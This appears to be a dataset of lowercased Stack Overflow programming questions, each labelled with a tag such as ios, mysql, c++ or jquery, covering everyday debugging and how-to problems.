swift: thread 1 signal sigabrt in class appdelegate: uiresponder  uiapplicationdelegate {  i m new to swift. i m using xcode 7.3  and i m making a photo filter app. when i click the  apply filter  button  the application crash  with following error:    *** terminating app due to uncaught exception  nsunknownkeyexception   reason:  [ setvalue:forundefinedkey:]: this class is not key value coding-compliant for the key inputangle.    <hr>   and highlights the code   <pre><code>class appdelegate: uiresponder  uiapplicationdelegate { </code></pre>   in appdelegate.swift with text  swift: thread 1 signal sigabrt . i have no idea what does this means.    here is my completed code:   <pre><code>import uikit  class viewcontroller: uiviewcontroller  uiimagepickercontrollerdelegate  uinavigationcontrollerdelegate {  @iboutlet weak var photolibrary: uibutton! @iboutlet weak var camera: uibutton! @iboutlet weak var imagedisplay: uiimageview!  let context = cicontext(options: nil)  override func viewdidload() {     super.viewdidload()     // do any additional setup after loading the view  typically from a nib. }  override func didreceivememorywarning() {     super.didreceivememorywarning()     // dispose of any resources that can be recreated. }  @ibaction func photolibraryaction(sender: uibutton) {      let picker = uiimagepickercontroller()     picker.delegate = self     picker.sourcetype = .photolibrary      presentviewcontroller(picker  animated: true  completion: nil) }   @ibaction func cameraaction(sender: uibutton) {      let picker = uiimagepickercontroller()     picker.delegate = self     picker.sourcetype = .camera      presentviewcontroller(picker  animated: true  completion: nil) }  //seeing the image after you taken func imagepickercontroller(picker: uiimagepickercontroller  didfinishpickingmediawithinfo info: [string : anyobject]) {     imagedisplay.image = info[uiimagepickercontrolleroriginalimage] as  uiimage;     dismissviewcontrolleranimated(true  completion: nil) }  @ibaction func applyfilter(sender: anyobject) {      //create image to filter     let inputimage = ciimage(image: imagedisplay.image!)      //add a color to a filter  0.00-3.14      let selectedcolor = [kciinputanglekey: (double(1.24))]      //apply a filter to the image     let filteredimage = inputimage .imagebyapplyingfilter( cigammaadjust   withinputparameters: selectedcolor)      let renderedimage = context.createcgimage(filteredimage!  fromrect: (filteredimage .extent)!)      //pass the final image to the image view     imagedisplay.image = uiimage(cgimage: renderedimage) } } </code></pre>   please reply me if you need more information. thanks in advance!!!!,ios
how to use nspredicate for this   i am stuck with using nspredicate in the following code:   <pre><code>for (int i=0; i&lt;[nodes count]; i++) {     nsmutabledictionary *dict=[nodes objectatindex:i];      nsinteger docid = [[dict objectforkey:@ docid ] integervalue];     nsstring *strpred = [nsstring stringwithformat:@ docid == %i  docid];     [request setpredicate:[nspredicate predicatewithformat:strpred]];     nsarray* objects=[[context executefetchrequest:request error:nil] retain];    nspredicate *objcount = [nspredicate predicatewithformat:[objects count]];      if([objects count])//how do i reduce these if else block too using nsprdicate     {         [dict setobject:@ 1  forkey:@ isbookthere ];     }     else     {         [dict setobject:@ 0  forkey:@ isbookthere ];     }     [objects release];     [nodes replaceobjectatindex:i withobject:dict]; } </code></pre>   i have to remove the ifelse block too since  if the count goes to 4000 the the loop goes for those many iterations which cause problem so inorder to reduce this risk i am suppose to use nspredicate.,iphone
c# ie proxy detection not working from a windows service  this is very odd.  i ve written a windows form tool in c# to return the default ie proxy.  it works (see code snippets below).  i ve created a service to return the proxy using the same code  it works when i step into the debugger  but it doesn t work when the service is running as binary code.  this must be some sort of permissions or context thing that i cannot recreate.  further  if i call the tool from the windows service  it still doesn t return the proxy information.... this seems isolated to the service somehow.  i don t see any permission errors in the events log  it s as if a service has a totally different context than a regular windows form exe.      i ve tride both:   <pre><code>webrequest.getsystemwebproxy() </code></pre>   and                <pre><code>uri requesturi = new uri(urlofdomain); httpwebrequest request = (httpwebrequest)webrequest.create(requesturi); iwebproxy proxy = request.proxy;  if (!proxy.isbypassed(requesturi)){     uri uri2 = proxy.getproxy(request.requesturi); } </code></pre>   thanks for any help!,.net
how to get record from a table with dynamic condition in mysql  i am having a table tb_user in which the records are as:   <pre><code>id   name    gender   age 1    arun     male    23 2    neha    female   22 3   sheetal  female   21 4    vikas    male    20 </code></pre>   what i need to do is if i get the id = 1 from the api then i need to to fetch the record which are apposite in gender.what i am doing is first fetching the gender of that id then putting the condition as follows:   <pre><code>select gender from tb_user where id = 1; </code></pre>   then another query to get the record for that id    <pre><code>select * from tb_user where gender != $gender; </code></pre>   $gender is the gender which we got from the previous query.    what is need to do is to complete this task in a single query.,mysql
fit image to table cell [pure html]  how do i fit image to table <code>td</code> cell  [pure html]    i have tried below code to fit an image in table <code>td</code> cell.     html code is here :   <pre><code>&lt;table border= 1  bordercolor= #aaa  cellspacing= 0  cellpadding= 0 &gt; &lt;tr&gt;     &lt;td&gt;&lt;img width= 100%  height= 100%  src= http://dummyimage.com/68x68/000/fff  /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>   as you can see in following screenshot and in <a href= http://jsfiddle.net/lk2rh/  rel= noreferrer >jsfiddle demo</a>  that image doesn t fit to <code>td</code> cell.    shot :    <img src= https://i.stack.imgur.com/msvzh.png  alt= enter image description here >    what am i doing wrong      any suggestion would be awesome.,html
test.cpp:(.text._zn1ac2ev[_zn1ac5ev]+0x8)||undefined reference to `vtable for a |  i have a veeeery simple code:   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt;  class a {     public :              a(){}             virtual void fun(std::string);             virtual ~a(){} };  class b : public a {     public :              b(){}             void fun(std::string);             ~b(){}; };  void b::fun(std::string) {  }  int main() {     a a;     return 0; } </code></pre>   and i got this messages trying to compile it:   <blockquote>    /home/temp/test.o||in function <code>a::a() :|   test.cpp:(.text._zn1ac2ev[_zn1ac5ev]+0x8)||undefined reference to   </code>vtable for a | /home/temp/test.o||in function <code>a::~a() :|   test.cpp:(.text._zn1ad2ev[_zn1ad5ev]+0xb)||undefined reference to   </code>vtable for a | /home/temp/test.o:(.rodata._zti1b[typeinfo for   b]+0x8)||undefined reference to `typeinfo for a | ||=== build   finished: 3 errors  0 warnings ===|  </blockquote>   why is that,c++
why time cost is 0 seconds after call std::async   see the following code.    <pre><code>#include &lt;future&gt; #include &lt;iostream&gt; #include &lt;ctime&gt;  int main()  {     std::future&lt;int&gt; future = std::async(std::launch::deferred  [](){              std::this_thread::sleep_for(std::chrono::seconds(5));             return 100;           });      std::cout &lt;&lt;  waiting...\n ;      clock_t start = clock();     std::future_status status = future.wait_for(std::chrono::seconds(20));     std::cout &lt;&lt;  result is   &lt;&lt; future.get() &lt;&lt; std::endl;     clock_t end = clock();     std::cout&lt;&lt; time cost :  &lt;&lt; (double)(end-start)/clocks_per_sec &lt;&lt;  seconds. &lt;&lt; std::endl; } </code></pre>   it s very confusing about the execution result. yep  the main thread will wait for only 5 seconds around and then print  100 . but why  time cost  shows 0  the test environment is cygwin with g++ 4.9.3.  then i tested it in vs2013. the result is 25 seocnds. strange!,c++
creating unique keys for my dictionary of arrays  could someone tell me how to create the current date and time as a unique key for my dictionary. i am using the code below but the keys are not unique when entered a few seconds apart.   <pre><code>nsdateformatter *currdate =[[nsdateformatter alloc]init];  [currdate setdatestyle:nsdateformatterfullstyle];  [self.transdict setobject:self.transarray forkey:[nsstring stringwithformat:@ %@       [currdate stringfromdate:[nsdate date]]]]; </code></pre>   as you can tell i am a novice...appreciate any help thx,ios
mysql explode string into different result  i need some help on mysql query    i have a member id string such as |1|2|3|4|  each number represent a member id. the string is stored in one of the table.    how can i get the result in just using one query  for example   <pre><code>select memberid name age email from member where memberid = explode( |1|2|3|4| ) </code></pre>   to get 4 member result start from 1 such as below   <pre><code>memberid|name|age|email 1       |    |   | 2       |    |   | 3       |    |   | 4       |    |   | </code></pre>   any help will be greatly appreciated,mysql
engraved text effect in android app  i want to have the in time famous engraved text effect in my android app. i have searched for it but couldn t get any effective results. my code in xml format:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android  android:layout_width= match_parent  android:layout_height= match_parent  android:background= @drawable/am  android:orientation= vertical  &gt;  &lt;relativelayout     android:id= @+id/relativelayout1      android:layout_width= match_parent      android:layout_height= wrap_content  &gt;      &lt;textview         android:id= @+id/textview1          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_alignparenttop= true          android:text= admissions          android:layout_marginleft= 14dp                      android:textcolor= #33b5e5          android:textsize= 28dp          android:textappearance=  android:attr/textappearancelarge      /&gt; &lt;/relativelayout&gt; &lt;/linearlayout&gt;![ application ][1] </code></pre>   i just want to show  admission  title in engraved form.. tell  me color combination other wise that which color shadow i have to use..    here is the link <a href= http://goo.gl/6grsz  rel= nofollow >http://goo.gl/6grsz</a>,android
how do i remove all the punctuation from the file that i am reading from   this is my main method in a file called main.cpp:   <pre><code>#include &lt;iostream&gt; #include  readwords.h  #include  writer.h  #include &lt;cctype&gt; #include &lt;string&gt;  using namespace std;  int main() {      int count;     int length;     string word;      cout &lt;&lt;  please enter a filename:   &lt;&lt; flush;     char filename[30];     cin &gt;&gt; filename; </code></pre>   this is where i am trying to delete all the punctuation in the file. currently i am able to read the file and print all the values. i am struggling to access the file and delete the punctuation. i know that i am to use ispunct. i have tried many different implementations but cannot get it to work. how do i delete all the punctuation in the file    <pre><code>    readwords reader(filename);     while (reader.isnextword()){         count = count + 1;         reader.getnextword();       }      cout &lt;&lt;  there are:   &lt;&lt; count &lt;&lt;   words in this text file  &lt;&lt; endl;         return 0; } </code></pre>   this is another file called readwords where i have all my method declarations: i don t think this is relevant/needed   <pre><code>#include  readwords.h  #include &lt;cstring&gt; #include &lt;iostream&gt; using namespace std;  void readwords::close(){  } readwords::readwords(const char *filename) {     //storing user input to use as the filename          //string filename;          wordfile.open(filename);          if (!wordfile) {             cout &lt;&lt;  could not open   &lt;&lt; filename &lt;&lt; endl;             exit(1);         }  }  string readwords::getnextword() {      string n;     if(isnextword()){         wordfile &gt;&gt; n;         return n;      }  }  bool readwords::isnextword() {          if (wordfile.eof()) {             return false;         }         return true; } </code></pre>,c++
running factory based on condition  i have a log in screen that when the user enters the correct credentials will be able to get json data. for now i don t have a real api link. i m just using dummy json data from a script file. the loginctrl will pass parameters to the  dummydata  factory which will make a  get  request. on success  the factor will pass the json data to the  usedata  function in the factory. this function in the factory is what all the controllers in my ng-view use.     the problem that i am having is that all the other controllers are calling  dummydata.dashboardsdata  and getting undefined because no one has logged in to pass data to that function. how can i prevent controllers (for example  navctrl) from calling the factory until someone has logged in      this is my index file:   <pre><code>&lt;body ng-app= ciscoimadashboardapp  ng-style= { background-image : backgroundimg}  ng-controller= loginctrl &gt;    &lt;login&gt;&lt;/login&gt;   &lt;div ng-view&gt;&lt;/div&gt;   &lt;menu&gt;&lt;/menu&gt;  &lt;/body&gt; </code></pre>   this is my factory:   <pre><code>angular.module( ciscoimadashboardapp ).factory( dummydata   [ $q    $http   function($q  $http) {  var apiservices = {};  apiservices.login = function(user password callback) {     $http({method:  get   url:  scripts/services/dummydata.js })     .success(function (response) {         datastatus = response.success;          apiservices.usedata(response);          callback(datastatus);     })     .error(function(error) {         console.log( there was an error:   + error);     });  };   apiservices.usedata = function(response) {     var data = response.data;      apiservices.dashboardsdata = data; }   return apiservices;  }]); </code></pre>   this is my navctrl:   <pre><code>angular.module( ciscoimadashboardapp ) .controller( navctrl   function($scope  navservice  $location  dummydata) {      var data = dummydata.dashboardsdata;  }); </code></pre>   this is my loginctrl:   <pre><code>angular.module( ciscoimadashboardapp ) .controller( loginctrl   function ($scope  $rootscope  dummydata  $location) {      $scope.login = function() {          var user_email = $scope.email;         var user_password = $scope.password;          dummydata.login(user_email  user_password  function (datastatus) {             if (datastatus) {                 console.log( success! );                 $scope.loggedin = true;                 $location.path( /welcome );             } else {                 console.log( error );             }         });      }  }); </code></pre>,angularjs
how to convert inputs values to javascript object   i have the following input dom nodes:   <pre><code>&lt;input type= text   name= name    value :  erik &gt; &lt;input type= text   name= age    value :  25 &gt; </code></pre>   i need to make object from the dom above like the following:   <pre><code>{     name:  erik       age: 25 } </code></pre>   how to do it with jquery     <strong>edit:</strong> i need something like the following:   <pre><code>var result = $( input[name] ).map(function (i  input) {    var result = {};    result[input.name] = input.value;            return result; }); </code></pre>   but $.map method returns array instead object;,jquery
mapkit didselectannotationview : how to get at custom properties   i am trying to open a detail view controller when a  user taps a push pin.     i have also defined a custom annotation and i want to pass some of its information into the detail view controller. it looks like this:   <pre><code> @interface squatannotationclass : nsobject &lt;mkannotation&gt; {  nsstring *name; nsstring *address; nsstring *gendered; nsstring *availability; nsstring *directions; nsstring *commments;    cllocationcoordinate2d coordinate; } @property (nonatomic  readonly) cllocationcoordinate2d coordinate; @property (nonatomic  retain) nsstring *name; @property (nonatomic  retain) nsstring *address; @property (nonatomic  retain) nsstring *gendered; @property (nonatomic  retain) nsstring *availability; @property (nonatomic  retain) nsstring *directions; @property (nonatomic  retain) nsstring *comments;      - (id)initwithlocation:(cllocationcoordinate2d)coord; -(id) initwithcoordinate:(cllocationcoordinate2d) acoordinate;  // other methods and properties. @end </code></pre>   this is where i am trying to access them   <pre><code>- (void)mapview:(mkmapview *)mapview didselectannotationview:(mkannotationview *)view{ </code></pre>   right now  when i try to reference them it doesn t know anything about them other than title.    my question is  how do i get at the properties of my custom annotation  for example  directions so that i may pass it into the detail controller.    thanks!,ios
touch event in iphone map view  in my project  i have to drop a pin (annotation) on any touchable location in the map view by tapping that location and then add some text to the annotation. is it possible to do so  if yes please describe..,iphone
get ajax data from url and use it  i have the following:   <pre><code>plot($( #pageviews )   line   {   labels: [ 1    2    3    4    5    6    7    8 ]    datasets: [     {        fillcolor: rgba( #404040   0.25)         data: [20  24  28  30  26  18  16  10]      }   ] }); </code></pre>   and i have a url   /data/stats/pageviews   which returns the json:    [     {  labels :  1    data : 2 }      {  labels :  2    data : 20 }      {  labels :  4    data : 20 }   ]    i tried the following:   <pre><code>$.ajax({   url:  /data/stats/pageviews     datatype:  json  }).success(function (data) {    plot($( #pageviews )   line   {     labels: data.labels      datasets: [       {          fillcolor: rgba( #404040   0.25)           data: data.data       }     ]   });  }); </code></pre>   this is not working ... i think the problem is how i am using the data. is it     thank you  miguel,jquery
php opposite/reverse number  when i have a number <code>0 1</code> - how i can get <code>10</code>     i think i can division it:   <pre><code>0 1 : 0 1 = 1 </code></pre>   and then count numbers before comma: <code>**0 **1</code> and if i have this count  i should add one zero to this count: <code>1**0**</code>    finally:    <pre><code>(0 1 / 0 1) * 1**0** = 10 </code></pre>   but maybe exist easier way to do it,php
understanding conditional operator <pre><code>int main() {     int a=10 b=11 c=13;     *((a) &amp;b:&amp;c)=a b:c;     printf( %d %d %d   a b c);     return 0; } </code></pre>   i don t understand the output of <code>*((a) &amp;b:&amp;c)=a b:c;</code> statement,c
html pages loading is time very different  is there a specific reason why two html pages have a different loading time   (they are in the same local folder) when i test them on a browser  one of them is extremely slower than the other.    any help   thank you!,html
recent documents  api in .net   for my document-based application i want to have a list of  recent documents   as many others do.  i m happy to implement this myself manually by writing to a settings file or whatever  but was wondering if there s a component in the .net framework that will do this for me.    seems like a common function that many developers would need  and i don t want to write code that .net provides.  i m using .net 3.5 with wpf for the ui.,.net
problems with nib-based/programmatically added uiviews hierarchy  1. i m programmatically adding a uilabel to my view in the initializer and adding a gesturerecognizer. then i have other uilabels added in the ib nib file (and each of them also have a gesture recognizer)    i can see my uilabel on top but when i touch the screen the other (nib file uilabels) gesture recognizers are triggered.    i was wondering why  if i see my uiview on top  i can only interact with the views on bottom.    2. -(void)awakefromnib is never invoked. why      thanks,ios
c++ class that mandates const objects  first let me ask a general question:   <ul> <li>it seems to me that c++ is a language whose point is to provide tons of capabilities  to give the programmer the greatest possible flexibility in doing things in whatever way he finds suitable. in other words  it s a flexible language that allows the programmer to express himself in more ways than probably any other language that i ve seen. is this right </li> </ul>   then a specific one:   <ul> <li>why doesn t c++ seem to support creating classes whose objects can be only <code>const</code>  in other words  classes where you get a compile-time error if you try to create a non-<code>const</code> object of it. this seems like a natural thing to do in many cases  yet c++ doesn t allow it.  what is the reason behind this  (sure  i can make all the members <code>const</code>  but that is somewhat of a copout.)</li> </ul>,c++
php - $_session parse arrays  i have two php files.    the first (main_form.php) contains the html form and displays the errors if the form is incorrect. the errors are obtained for the second file.    the second file called validate.php has the following code to display errors:   <pre><code>    foreach ($error as $errorkeys) {         $_session[ errors ] =  $errorkeys;         echo $_session[ errors ];     }     header( location: ../main_form.php ); </code></pre>   if the header( location: ../main_form.php ); is left out the errors display correctly.    the first file (main_form.php) has the following code to get the errors (if any) from validate.php:   <pre><code>echo  &lt;ul&gt; ; foreach ($_session[ errors ] as $errorkeys) {     //$errorkeys = $_session[ errors ];     echo $errorkeys; } echo  &lt;ul&gt; ; </code></pre>   i am getting the following error in the error_log : php warning:  invalid argument supplied for foreach()    the errors are in the form of arrays e.g. <code>$error[ business_website ] = address is incorrect.</code>    how can i parse the errors from validate.php to main_form.php please,php
unexpected token var  <strong>i have a error unexpected token var. i searched but no answer to my question. my code where there is error:</strong> note: this not the full code and a part where error is. its at line 2.   <pre><code>function firstpart() {     var chin = document.getelementbyid( dialog );     var name = document.getelementbyid( textf ).value; </code></pre>,javascript
generating a random number between two values  i need to generate a random number from 0 to the length of my array. this is my array   <pre><code>var wordlist = new array[ duck    cat    dog    carpet    pants    computer    book ]; </code></pre>   so basically  choose one of these words. then i need to use that number to select that word and print it out. any help,javascript
concatenate array with define and varaible - c language  i am looking for a solution to concatenate in a array with value from defines and variable. i have already try with memcpy like that but it not working :    <pre><code>#define address   {0x00  0x00  0x00  0x00  0x00  0x45} #define signature {0xc6  0x54  0x2d} uint8_t packetcounter = 0; uint8_t radiodata[2]={ 2   1 };  uint8_t packet = sizeof(uint8_t);  memcpy(packet  address  sizeof(address)); memcpy(packet  signature  sizeof(signature)); memcpy(packet  packetcounter  sizeof(packetcounter)); memcpy(packet  data  sizeof(data)); </code></pre>   the goal of this code is to have an array with those value : address+signature+packetcounter+data. and i would like also to add  _  between each variable after.    do you have any solution   thanks,c
separation of activities between phones and tablets (io2012 app)  i ve seen in sources of io2012 application that guys are separating <code>activity</code> classes in their <code>ui</code> package for <code>tablets</code> and <code>phones</code>. is it kind of good practice we also need follow  actually don t really find it useful  what for,android
mysql  access denied when executing query from command line  when i execute this command:   <pre><code>mysql -u c1user -pc1password c1database </code></pre>   i can successfully log in the database and execute queries  but if i try to run the query from command line like this:   <pre><code>mysql -u c1user -pc1password c1database &lt; query.sql </code></pre>   i get this error:   <pre><code>error 1045 (28000) at line 1: access denied for user  c1user @ localhost  (using password: yes) </code></pre>   what could be the problem     update: i tried using the root user instead of c1user and it worked.  the strange thing is that if i use c1user in mysqlworkbench for example  i can execute the same query without issues.,mysql
send an email via php from my laptop  <strong>update 1:</strong>    i am using ubuntu 10.04 and installed the default lamp stack.    <strong>original question:</strong>    i am using my laptop as a development machine.  is it possible for me to send an email from my laptop using php     i am using lamp on my laptop.,php
mysql break a condition in bracket  i have 2 mysql query :    <pre><code>select * from table where !(col1 =  a  &amp;&amp; col2 =  b ); </code></pre>   and    <pre><code>select * from table where col1 !=  a  and col2 !=  b ; </code></pre>   this return a different result  and i want it to be like the second statement (without bracket).    any idea guys       thanks in advance.,mysql
automatically populating textboxes of a software from another vendor from my db   i have a software which i will be using. the software has a number of textboxes and i cannot get an access to the code. how can i automatically populate these textboxes through my own databases     so for example i have a win form of another vendor which has textfield of:   <ol> <li>first name</li> <li>last name</li> <li>address</li> </ol>   now i want to populate these textboxes from my own database. is there anyway to do it     thank you!,.net
sql query to get all the combinations of two columns  two days ago i was asked this question in an interview for data analyst position. could some one please let me know the correct answer for this     say there is a single table with three columns.    <ul> <li>1st column with geneid(primary key) </li> <li>2nd column flag1  </li> <li>3rd column flag2. </li> </ul>   flag1 and flag2 columns can have values of <strong>0</strong> or <strong>1</strong>. how do i write a single sql query in which i get the count of geneids for different combinations of flag1 flag2 possible  i.e. flag1 <strong>0</strong>  flag2 <strong>1</strong>  flag1 <strong>1</strong>  flag2 <strong>0</strong>  ....&amp; other combinations.    thanks for your time     regards sashi,sql
css <1px gap between styled list menu in chrome  as you ll see in the screenshot linked to below  i m encountering strange behaviour when using chrome 39.0.2171.95. a smaller than 1px gap appears between the styled list items. it looks fine in firefox and ie.    i hadn t noticed it until i started using a device with retina display  so i would be interested to find out how many others see the same as me.    it doesn t use inline-block  and removing the space between each <code>&lt;li&gt;</code> is not possible as the three-tiered menu is generated by wordpress (and i doubt it is a solution here). using negative margins hides the gap  but as a workaround and not a solution it causes other issues (it moves the sub-menus out of place).    <strong>screenshot:</strong> <a href= http://i58.tinypic.com/m9rkmf.jpg  rel= nofollow >http://i58.tinypic.com/m9rkmf.jpg</a>    <strong>link:</strong> <a href= http://www.tolkiensociety.org/  rel= nofollow >http://www.tolkiensociety.org/</a>    this is the current css:   <pre><code>#mainmenu { background:#333333; position:absolute; bottom:0; width:960px; } #mainmenu.fixed { position:fixed; top:0; z-index:100; height:43px; } #mainmenu &gt; ul { padding-left:124px; } #mainmenu ul { height:43px; list-style:none; position:relative; } #mainmenu ul li { float:left; } #mainmenu ul li a { display:block; padding:12px 10px; border-bottom:4px solid #00a33e; color:#fefefe; text-transform:uppercase; text-decoration:none; font-size:14px; font-weight:300; height:15px; } #mainmenu ul li:hover &gt; a { background:#222222; } #mainmenu .menu-item-1128 &gt; a { border-bottom: 4px solid #82c4e5; } #mainmenu .menu-item-644 &gt; a { border-bottom: 4px solid #e33417; } #mainmenu .menu-item-62 &gt; a { border-bottom: 4px solid #78bf32; } #mainmenu .menu-item-91 &gt; a { border-bottom: 4px solid #00a33e; } #mainmenu .menu-item-81 &gt; a { border-bottom: 4px solid #d99f3c; } #mainmenu .menu-item-739 &gt; a { border-bottom: 4px solid #f1654f; } #mainmenu ul ul { display:none; position:absolute; top:39px; z-index:9999; min-width:200px; } #mainmenu ul li:hover &gt; ul { display:block; } #mainmenu ul ul li { float:none; position:relative; } #mainmenu ul ul li a { padding:12px 10px; border:0; color:#fefefe; text-transform:none; text-decoration:none; font-size:14px; font-weight:400; height:15px; white-space:nowrap; background-color:#222; } #mainmenu ul ul li a:hover { background-color:#111; } #mainmenu ul ul ul { position:absolute; left:100%; top:0; } #mainmenu ul ul li:hover &gt; a { background:#111; } #mainmenu ul ul ul li a { background-color:#111; } #mainmenu ul ul ul li a:hover { background-color:#000; } </code></pre>,css
mysql  group by  fields orders  i have a question about using  group by  in mysql: group order whether to affect the efficiency of query.    <pre><code>1.select sql_no_cache `er_ct`  `appve`  from tbl_547 where uaewa_ts &gt;= 1417276800 and uaewa_ts &lt;= 1417449540 group by `appve`  `er_ct` order by `c79fd348-cc8e-41f2-ae93-0b2b2cde8a31`  desc  limit  5; 2.select sql_no_cache `er_ct`  `appve`  from tbl_547 where uaewa_ts &gt;= 1417276800 and uaewa_ts &lt;= 1417449540 group by  `er_ct` `appve` order by `c79fd348-cc8e-41f2-ae93-0b2b2cde8a31`  desc  limit  5; </code></pre>   the difference betwen two sentence is  group by <code>appve</code>  <code>er_ct</code>   and   group by  <code>er_ct</code> <code>appve</code> .there is no index(combined index) on appve and er_ct. the value of  select count(distinct er_ct) from tbl_547  is 7000. the value of  select count(distinct appve) from tbl_547  is 3.    here is the screenshot.  <a href= http://i.stack.imgur.com/aeqy2.png  rel= nofollow >http://i.stack.imgur.com/aeqy2.png</a>    the structure: <a href= http://i.stack.imgur.com/ewgay.png  rel= nofollow >http://i.stack.imgur.com/ewgay.png</a>    thanks.,mysql
can i start .net console application under custom user   i have a console application that i would like to run as  myspecificuser . can i specify this user in app.config,.net
css smooth font styling  i m trying to copy the following font styling in my page: <a href= https://d13yacurqjgara.cloudfront.net/users/104117/screenshots/2080529/attachments/373853/real-pixels.png  rel= nofollow >https://d13yacurqjgara.cloudfront.net/users/104117/screenshots/2080529/attachments/373853/real-pixels.png</a> (scroll down to  typography )    i ve tried the following:   <pre><code>@import url(http://fonts.googleapis.com/css family=roboto:400 300 500 700);  body {     font-family:  roboto   sans-serif;     color: #334455;     background-color: #eef2f4;     font-weight: 400; } </code></pre>   all i m achieving with this is this poor styling:    <a href= http://i.imgur.com/kwizwms.png  rel= nofollow >http://i.imgur.com/kwizwms.png</a>    i even feel like it s not the same font. even more  the different font-weight i ve tried never matched the one from the model... i have no idea where to go from here  can somebody enlight me on how to improve this,css
disposable mbean  how could i implement disposable mbean  one that doesn t prevent resource it is monitoring from being garbage collected <br> let say i wrote dummy statistic mbean but the class it is monitoring is not singleton in the system. i would like mbean to be automatically unregistered once resource is no longer in use.    any ideas how to achieve that  any existing solutions     thanks.,java
file post problem - asp.net  i have to a web services method called uploadfile.the method getting a parameter as base64str and record as a file into the specified address it.   but i have a problem.that method doesn t allow to upload more than 350 kb file.otherwise i can upload less than 300 kb file e.g zip  jpg  txt. also    when i attempt to upload more than 350 kb file a process working continually on server.    process:   <pre><code>image name : w3wp.exe  username : asp.net v4.0  cpu : 50  description : iis worker process </code></pre>   sometimes server cpu goes to 100%     code:   <pre><code>  * encodedfile = base64str as format      string poststring = string.format( username={0}&amp;uservendor={1}&amp;vendorkey={2}&amp;base64filestr={3}&amp;guid={4}&amp;filename={5}                                    kadi    şifre    key   encodedfile  guid  strfilename);                   string localhttpposturl = usergatewayaddress +  uploadfile ;                  asciiencoding encoding = new asciiencoding();                  stream newstream = null;                  httpwebresponse response = null;                  stream streamresponse = null;                  streamreader streamread = null;                  try                  {                      httpwebrequest request = (httpwebrequest)webrequest.create(localhttpposturl);                      request.contenttype =  application/x-www-form-urlencoded ;                      request.method =  post ;                        byte[] buffer = encoding.utf8.getbytes(poststring);                      request.contentlength = buffer.length;                       newstream = request.getrequeststream();                      newstream.write(buffer  0  buffer.length);                      newstream.close();                       response = (httpwebresponse)request.getresponse();                      streamresponse = response.getresponsestream();                      streamread = new streamreader(streamresponse);                       char[] readbuffer = new char[256];                      ret = string.empty;                      int totalcharcount = 0;                       int count = streamread.read(readbuffer  0  256);                      while (count &gt; 0)                      {                          totalcharcount += count;                          ret += new string(readbuffer);                          count = streamread.read(readbuffer  0  256);                      }                      ret = ret.substring(0  totalcharcount);                       return ret;                  }                  catch (exception x)                  {                      return x.message;                  } </code></pre>,asp.net
the name profilecommon does not exist in the current context   ..been browsing the net but no luck.. i need to use the profilecommon but i can t reference any assemblies to use it.. can someone help,asp.net
about inheritance and constructors  i just wondering if this code is correct that i found in some information. the thing i find strange  is that diameter is used twice in both example  is this really correct    <pre><code>public ellipse(double diameter): base(diameter  diameter) </code></pre>,c#
how to get an output from a mysql insert   our api can concurrently get hundreds of hits at a single endpoint at any given time and each call inserts something into the database.    i need to get the last inserted id - without using <code>last_inserted_id()</code>    unfortunately  if we have a lot of traffic all at once  this can sometimes get a bit screwy and give the id of something being inserted by another hit to the api.    is there a way to add some kind of output clause that ll return the id of what was just inserted in the same query as the insert,mysql
how to get data from xml file  hi i am new to iphone. what i did is displaying grid of 10 images.for this i take a array and add all images to array.for this i am write the code as    <pre><code>[_image addimage:[uiimage imagenamed:@ black.jpg ]]; </code></pre>   like this i add all images to array.now what i need is i need to get all the images through xml file and add to the images array. how can i done this.please post any link or code. thanks  in advance.,iphone
is there an application/add-on that can find a dead locks in my code in advance   besides the obvious best practice of avoiding dead-locks is there something that check it automatically,.net
how to use a model in a filter   i need to pass  bunch of variables to a filter  so i figured it d be easier to pass the whole model  since it s just a reference anyway. so i tried to do this (this is a simplified version):   <pre><code>app.filter( applylimit   function() {   return function(files  m) {     return files.map(function(v i){         v.analyze = i &lt; m.limit       return v     })   } });  angular.module( app ).component( h2jcomponent   {     templateurl:  html/view.html       controlleras:  m       controller: [ $filter   h2j_controller] });  function h2j_controller($filter) {     var m = this     m.limit = 1     var files = [{name: foo.java  analyze:true} {name: bar.java  analyze:true}]     $filter( applylimit )(files m) } </code></pre>   however i m getting the following error:   <blockquote>    <code>typeerror: cannot read property  limit  of undefined</code>  </blockquote>   i m assuming this is because i can t pass my entire model to a filter  but i m not sure. is this possible,angularjs
how to denote belonging of class to particular group: base class or trait attribute   in statically typed languages to solve the problem below i would use interface (or abstract class etc.). but i wonder if in python there is more  pythonic  way of doing it.    so  consider the situation:   <pre><code>class myclass(object):     # ...     def my_function(self  value_or_value_provider):         if is_value_provider(value_or_value_provider):             self._value_provider = value_or_value_provider         else:             self._value_provider = standardvalueprovider(value_or_valie_provider)             # `standardvalueprovider` just always returns the same value. </code></pre>   above  value provider  is custom class  which has <code>get_value()</code> method. of course  the idea is that it can be implemented by the user.    now  the question is: what is the best way to implement <code>is_value_provider()</code>  i.e.  what is the best way to distinguish between  single value  and  value provider      the first idea  which came to my mind is to use inheritance: introduce base class <code>basevalueprovider</code> with empty implementation and tell in documentation  that custom  value providers  must inherit from it. then in <code>is_value_provider()</code> function just check <code>isinstance(objecttocheck  basevalueprovider)</code>. what i don t like about this solution is that inheritance seems to be somehow redundant in this case (specifically in case of python)  because we cannot even force one  who derive to implement <code>get_value()</code> method. besides  for someone who wants to implement custom  value provider  this solution implies need to have a dependency on the module  which exposes <code>basevalueprovider</code>.    the other solution would be to use  trait attribute . i.e. instead of checking base class  check existence of particular attribute with <code>hasattr()</code> function. we can check either existence of <code>get_value()</code> method itself. or  if we afraid  that the name of the method is too common  we could check for dedicated trait attribute  like <code>is_my_library_value_provider</code>. then in documentation tell  that any custom  value provider  must have not only <code>get_value()</code> method  but also <code>is_my_library_value_provider</code>. this second solution seems to be better  as it does not abuse inheritance and allows to implement custom  value providers  without being dependent on some additional library  which provides base class.    could someone comment on which solution is preferable (or if there are other better ones)  and why     edit: change the example slightly to reflect the fact  that value-provider is going to be stored and used later (probably  multiple times).,python
